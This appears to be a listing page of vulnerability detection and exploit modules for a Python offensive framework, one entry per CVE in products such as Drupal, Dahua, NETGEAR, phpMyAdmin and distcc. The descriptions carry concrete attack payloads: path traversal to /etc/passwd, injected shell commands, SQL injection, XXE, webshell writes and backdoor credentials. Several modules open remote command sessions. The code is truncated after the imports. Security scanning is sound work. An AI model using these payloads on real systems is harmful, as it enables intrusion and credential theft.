Drupal - SA-CORE-2014-005 SQLi Detection (CVE-2014-3704)

Detects Drupageddon CVE-2014-3704 by POSTing crafted name0; SELECT ... to the login form and matching mbstrlen warning. !/usr/bin/env python3 -- coding: utf-8 -- """Drupal 7.x SA-CORE-2014-005 SQLi detection CVE-2014-3704.""" from kittysploit import from lib.protocols.http.httpclient import...

CasaOS - Arbitrary File Read via users/image (CVE-2024-24765)

CasaOS-UserService 0.4.7 insufficiently filters the path parameter of /v1/users/image, allowing unauthenticated arbitrary file read e.g. user.db /etc/passwd — CVE-2024-24765. !/usr/bin/env python3 -- coding: utf-8 -- """CasaOS-UserService arbitrary file read via /v1/users/image CVE-2024-24765."""...

PHPMoAdmin - find Parameter RCE Detection (CVE-2015-2208)

Detects CVE-2015-2208 by requesting moadmin.php with find=array;phpinfo; and matching phpinfo markers. !/usr/bin/env python3 -- coding: utf-8 -- """PHPMoAdmin find=array;phpinfo; RCE CVE-2015-2208.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner...

Beward IP Camera - fileread Disclosure Detection

Detects unauthenticated file disclosure via /cgi-bin/operator/fileread?READ.filePath=/etc/passwd on Beward IP cameras. !/usr/bin/env python3 -- coding: utf-8 -- """Beward IP camera fileread arbitrary file disclosure.""" import re from kittysploit import from lib.protocols.http.httpclient import...

Dahua Devices - Path Traversal Account Leak (CVE-2024-13130)

Multiple Dahua devices and OEMs allow path traversal to ../mtd/Config/Sha1Account1 or Account1, leaking SerialID and Password hashes. !/usr/bin/env python3 -- coding: utf-8 -- """Dahua and OEM path traversal to account config files CVE-2024-13130.""" from kittysploit import from...

MyBB - shutdown_functions RCE Detection

Detects MyBB = 1.8.2 RCE via Cookie GLOBALS=1;shutdownfunctions phpinfo or query-string shutdownfunctions. !/usr/bin/env python3 -- coding: utf-8 -- """MyBB shutdownfunctions / GLOBALS RCE Nov 2014.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanne...

ESVA - learn-msg.cgi RCE Detection (CVE-2012-10046)

Detects CVE-2012-10046 by requesting /cgi-bin/learn-msg.cgi?id=|id; after fingerprinting released.html. !/usr/bin/env python3 -- coding: utf-8 -- """ESVA learn-msg.cgi command injection CVE-2012-10046.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

Beward IP Camera - servetest NTP RCE Detection (CVE-2025-34042)

Detects Beward camera command injection via /cgi-bin/operator/servetest?cmd=ntp&ServerName=pool.ntp.org|id|| !/usr/bin/env python3 -- coding: utf-8 -- """Beward IP camera servetest NTP command injection CVE-2025-34042 / Feb 2019.""" import re from kittysploit import from...

NETGEAR DGN - setup.cgi syscmd RCE (CVE-2024-12847)

Exploits unauthenticated setup.cgi?todo=syscmd command injection. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """NETGEAR DGN setup.cgi syscmd RCE CVE-2024-12847 — opens execute session.""" import re from urllib.parse import quote from kittysploit import from...

phpMyAdmin - server_sync.php Backdoor Detection (CVE-2012-5159)

Detects CVE-2012-5159 by POSTing c=phpinfo; to /serversync.php. !/usr/bin/env python3 -- coding: utf-8 -- """phpMyAdmin serversync.php backdoor CVE-2012-5159.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'phpMyAdmi...

A2Billing - Unauth SQL Dump Detection

Detects A2Billing backup abuse by triggering A2Bentitybackup.php dump to a guessable .sql path and downloading it. !/usr/bin/env python3 -- coding: utf-8 -- """A2Billing unauthenticated SQL dump via A2Bentitybackup.php.""" import time from kittysploit import from lib.protocols.http.httpclient...

AMSI - download.php Path Traversal Detection

Detects AMSI download.php?file= path traversal to /etc/passwd requires amsiweb/amsimoodle markers. !/usr/bin/env python3 -- coding: utf-8 -- """AMSI download.php path traversal.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

VMware - SDK Directory Traversal Detection (CVE-2009-3733)

Detects CVE-2009-3733 via /sdk/ encoded traversal to /etc/passwd on VMware Server/ESX UI port. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2009-3733 via /sdk/ encoded traversal to /etc/passwd on VMware Server/ESX UI port.""" import re from kittysploit import from...

HP Systems Insight Manager - logfile File Read Detection (CVE-2010-3286)

Detects CVE-2010-3286 via HEAD switchFWInstallStatus.jsp?logfile=/etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2010-3286 via HEAD switchFWInstallStatus.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclien...

MantisBT - db_type LFI Detection (CVE-2010-4348)

Detects CVE-2010-4348 via admin/upgradeunattended.php?dbtype=..%2f..%2fetc/passwd%00. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2010-4348 via admin/upgradeunattended.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

ECAVA IntegraXor - open File Traversal Detection (CVE-2010-4598)

Detects CVE-2010-4598 via /open?filename=......\windows\win.ini. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2010-4598 via /open?filename=.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'ECAVA...

MyBB - Compromised Package Backdoor Detection (CVE-2011-10018)

Detects CVE-2011-10018 by sending Cookie collapsed=...|phpinfo? and matching phpinfo title. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-10018 by sending Cookie collapsed=.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

ImpressPages - cm_group RCE Detection (CVE-2011-4932)

Detects CVE-2011-4932 by requesting cmgroup injection that echoes filegetcontents/etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """ImpressPages CMS actions.php / cmgroup RCE CVE-2011-4932.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

Symantec Web Gateway - releasenotes LFI Detection (CVE-2012-0297)

Detects CVE-2012-0297/0299 by injecting PHP into accesslog via a crafted GET path then including it through releasenotes.php?relfile=. !/usr/bin/env python3 -- coding: utf-8 -- """Symantec Web Gateway accesslog LFI + PHP injection CVE-2012-0297/0299.""" from kittysploit import from...

Ektron CMS - ekajaxtransform XSLT RCE Detection (CVE-2012-5357)

Detects CVE-2012-5357 by POSTing msxsl:script C XSLT that runs ipconfig.exe to ekajaxtransform.aspx. !/usr/bin/env python3 -- coding: utf-8 -- """Ektron CMS XSLT C script RCE CVE-2012-5357.""" import re from urllib.parse import quote from kittysploit import from lib.protocols.http.httpclient impo...

D-Link - rtpd.cgi Password Disclosure Detection (CVE-2013-1599)

Detects CVE-2013-1599 by requesting /cgi-bin/rtpd.cgi?echo&AdminPasswdss|tdb&get&HTTPAccount. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link rtpd.cgi password disclosure CVE-2013-1599.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

vBulletin - install/upgrade.php Exposure Detection (CVE-2013-6129)

Detects CVE-2013-6129 style install exposure by finding reachable /install/upgrade.php with Customer Number form. !/usr/bin/env python3 -- coding: utf-8 -- """vBulletin install/upgrade.php authentication bypass exposure CVE-2013-6129.""" from kittysploit import from lib.protocols.http.httpclient...

EMC CTA - XXE File Read Detection (CVE-2014-0644)

Detects CVE-2014-0644 by POSTing XXE to /api/login with Password= pointing at file:///etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """EMC Cloud Tiering Appliance XXE file read CVE-2014-0644.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

Arkeia Appliance - lang Cookie LFI Detection (CVE-2014-2846)

Detects CVE-2014-2846 by POSTing to /login/doLogin with Cookie lang=aaa..././..././etc/passwd%00. !/usr/bin/env python3 -- coding: utf-8 -- """Arkeia Appliance lang cookie path traversal CVE-2014-2846.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

BlueDragon - cfchart Path Traversal Detection (CVE-2014-5370)

Detects CVE-2014-5370 by requesting /cfchart.cfchart?../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """BlueDragon CFChart servlet path traversal CVE-2014-5370.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient...

OpenEMR - ignoreAuth Auth Bypass Detection (CVE-2015-4453)

Detects CVE-2015-4453 by requesting /interface/billing/sleobsearch.php?ignoreAuth=1. !/usr/bin/env python3 -- coding: utf-8 -- """OpenEMR ignoreAuth authentication bypass CVE-2015-4453.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient...

ZoneMinder - /events/ Listing Detection (CVE-2016-10140)

Detects CVE-2016-10140 by requesting /events/ and matching Apache-style Index of./events directory listing. !/usr/bin/env python3 -- coding: utf-8 -- """ZoneMinder /events/ directory listing disclosure CVE-2016-10140.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient...

AVTECH - Machine.cgi Capability Disclosure Detection

Detects AVTECH unauthenticated information disclosure via /cgi-bin/nobody/Machine.cgi?action=getcapability. !/usr/bin/env python3 -- coding: utf-8 -- """AVTECH devices unauthenticated capability disclosure CVE-2016-15047 family.""" from kittysploit import from lib.protocols.http.httpclient import...

GoAhead - CGI LD_DEBUG Injection Detection (CVE-2017-17562)

Detects CVE-2017-17562 by POSTing to common CGI endpoints with ?LDDEBUG=help and looking for dynamic linker help output. !/usr/bin/env python3 -- coding: utf-8 -- """Embedthis GoAhead CGI environment injection CVE-2017-17562.""" from kittysploit import from lib.protocols.http.httpclient import...

Joomla - com_fields SQLi Detection (CVE-2017-8917)

Detects CVE-2017-8917 by sending UpdateXML payload via comfields list fullordering and matching XPATH syntax error .255. in a 500 response. !/usr/bin/env python3 -- coding: utf-8 -- """Joomla comfields SQLi CVE-2017-8917.""" import re from kittysploit import from lib.protocols.http.httpclient...

TerraMaster TOS - GetTest.php RCE Detection (CVE-2017-9328)

Detects CVE-2017-9328 by injecting a PHP webshell write via /include/ajax/GetTest.php and executing id. !/usr/bin/env python3 -- coding: utf-8 -- """TerraMaster TOS GetTest.php unauthenticated RCE CVE-2017-9328.""" import re from kittysploit import from lib.protocols.http.httpclient import...

ASUSTOR ADM - aggrecate_js.cgi RCE Detection (CVE-2018-11510)

Detects CVE-2018-11510 by injecting ls into /portal/apis/aggrecatejs.cgi?script=launcher"&CMD&" and matching directory listing. !/usr/bin/env python3 -- coding: utf-8 -- """ASUSTOR ADM aggrecatejs.cgi unauthenticated RCE CVE-2018-11510.""" import re from kittysploit import from...

DroboPix - demo API Command Injection Detection (CVE-2018-14706)

Detects DroboPix RCE by injecting into /DroboPix/api/drobopix/demo JSON enabled field, writing id output under /DroboPix/, then reading it. !/usr/bin/env python3 -- coding: utf-8 -- """DroboPix demo API command injection CVE-2018-14706.""" import re import secrets from kittysploit import from...

D-Link/TOTOLINK - ExportSettings.sh Unauth Config Download

Various D-Link and TOTOLINK devices expose /cgi-bin/ExportSettings.sh without authentication, allowing download of device configuration backups CVE-2018-17786 / CVE-2022-32993 / CVE-2023-53896. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link / TOTOLINK unauthenticated ExportSettings.sh config...

OpenMRS - dataexchange export.form Disclosure Detection (CVE-2020-5732)

Detects OpenMRS unauthenticated data export by POSTing conceptIds=1 to /module/dataexchange/export.form and looking for HTTP 201 with conceptdatatypeid. !/usr/bin/env python3 -- coding: utf-8 -- """OpenMRS dataexchange export.form unauthenticated access CVE-2020-5732...""" from kittysploit import...

Movable Type - XML-RPC RCE Detection (CVE-2021-20837)

Detects CVE-2021-20837 by POSTing mt.handlertocoderef XML-RPC with a base64-encoded backtick payload that reads /etc/passwd via /mt/mt-xmlrpc.cgi. !/usr/bin/env python3 -- coding: utf-8 -- """Movable Type XML-RPC mt.handlertocoderef RCE CVE-2021-20837.""" import base64 import re from kittysploit...

Apache Tapestry - AppModule.class Disclosure Detection (CVE-2021-27850)

Detects CVE-2021-27850 by requesting /assets/app/something/services/AppModule.class/, following the redirect, and checking for application/java content containing InnerClasses. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Tapestry AppModule.class asset disclosure CVE-2021-27850.""" from...

Home Assistant - Supervisor Auth Bypass Detection (CVE-2023-27482)

Home Assistant supervised installs are vulnerable to authentication bypass via path traversal under /api/hassio/app/ and /api/hassioingress/ CVE-2023-27482, exposing supervisor/core info without credentials. !/usr/bin/env python3 -- coding: utf-8 -- """Home Assistant Supervisor authentication...

Synology DSM Drive Server - Auth Bypass Token Leak (CVE-2024-50630)

Synology Drive Server on DSM allows unauthenticated attackers to read Drive logs via RedirectURI and obtain user access tokens via SYNO.SynologyDrive.Authentication CVE-2024-50630 / SA-24:21. Also indicates CVE-2024-50631 SQLi in sync daemon. !/usr/bin/env python3 -- coding: utf-8 -- """Synology...

D-Link DIR-645 - getcfg.php Auth Bypass Detection

Detects DIR-645 unauthenticated DEVICE.ACCOUNT disclosure via POST /getcfg.php SERVICES=DEVICE.ACCOUNT. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DIR-645 getcfg.php authentication bypass / account disclosure.""" from kittysploit import from lib.protocols.http.httpclient import Httpclien...

Express.js - Debug Mode Stack Trace Disclosure

Detects Express apps running with NODEENV=development or similar debug error handlers by sending a GET with Content-Type: application/json and a non-JSON body, then looking for a 400 response that leaks a SyntaxError stack / nodemodules path. !/usr/bin/env python3 -- coding: utf-8 -- """Express.j...

HiSilicon uc-httpd - Path Traversal Detection

Detects HiSilicon ASIC firmware path traversal by requesting ../../etc/passwd on uc-httpd servers. !/usr/bin/env python3 -- coding: utf-8 -- """HiSilicon uc-httpd path traversal file read.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanne...

Monit - Default Credentials Detection

Tries admin:monit against Monit Basic auth WWW-Authenticate realm=monit and looks for Monit: in a 200 response. !/usr/bin/env python3 -- coding: utf-8 -- """Monit default credentials admin:monit.""" import base64 from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

PHP File Manager - Backdoor Login Detection

Detects PHP File Manager backdoor account DONOTREMOVETHISENTRY / travan44 via multipart login. !/usr/bin/env python3 -- coding: utf-8 -- """PHP File Manager hardcoded backdoor credentials.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

Tiki Wiki - flv_stream.php File Download Detection

Detects Tiki Wiki arbitrary file download via /vendor/player/flv/flvstream.php?file=../../../db/local.php. !/usr/bin/env python3 -- coding: utf-8 -- """Tiki Wiki flvstream.php arbitrary file download.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

ZYCOO IP Phone - system_cmd.cgi RCE Detection

Detects ZYCOO unauthenticated command injection via /cgi-bin/systemcmd.cgi?cmd='cat /etc/passwd'. !/usr/bin/env python3 -- coding: utf-8 -- """ZYCOO IP Phone System systemcmd.cgi RCE.""" import re from urllib.parse import quote from kittysploit import from lib.protocols.http.httpclient import...

BloodHound.py collect

Run bloodhound-python / bloodhound-ce-python against a Domain Controller from Linux or Windows, produce a zip, and merge into the agent attack graph. Default collection=DCOnly LDAP-only, good from Kali. Use All for fuller Session/LocalAdmin fan-out when the network allows. !/usr/bin/env python3 -...

distcc - Remote Command Execution (CVE-2004-2687)

Exploits CVE-2004-2687 by injecting shell commands into distcc ARGV. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """distcc RCE CVE-2004-2687 — opens execute session.""" import re import socket from kittysploit import from lib.protocols.tcp.tcpscannerclient impo...

AWStats Totals - sort Parameter RCE (CVE-2008-3922)

Exploits CVE-2008-3922 by injecting PHP into the sort parameter of awstatstotals.php. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """AWStats Totals sort parameter RCE CVE-2008-3922.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient...

PrestaShop Mega Menu - ajax_phpcode.php RCE (CVE-2018-8823)

Exploits CVE-2018-8823 by passing PHP code to /modules/bamegamenu/ajaxphpcode.php?code=. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """PrestaShop Responsive Mega Menu ajaxphpcode.php RCE CVE-2018-8823 — opens execute session.""" import re from urllib.parse...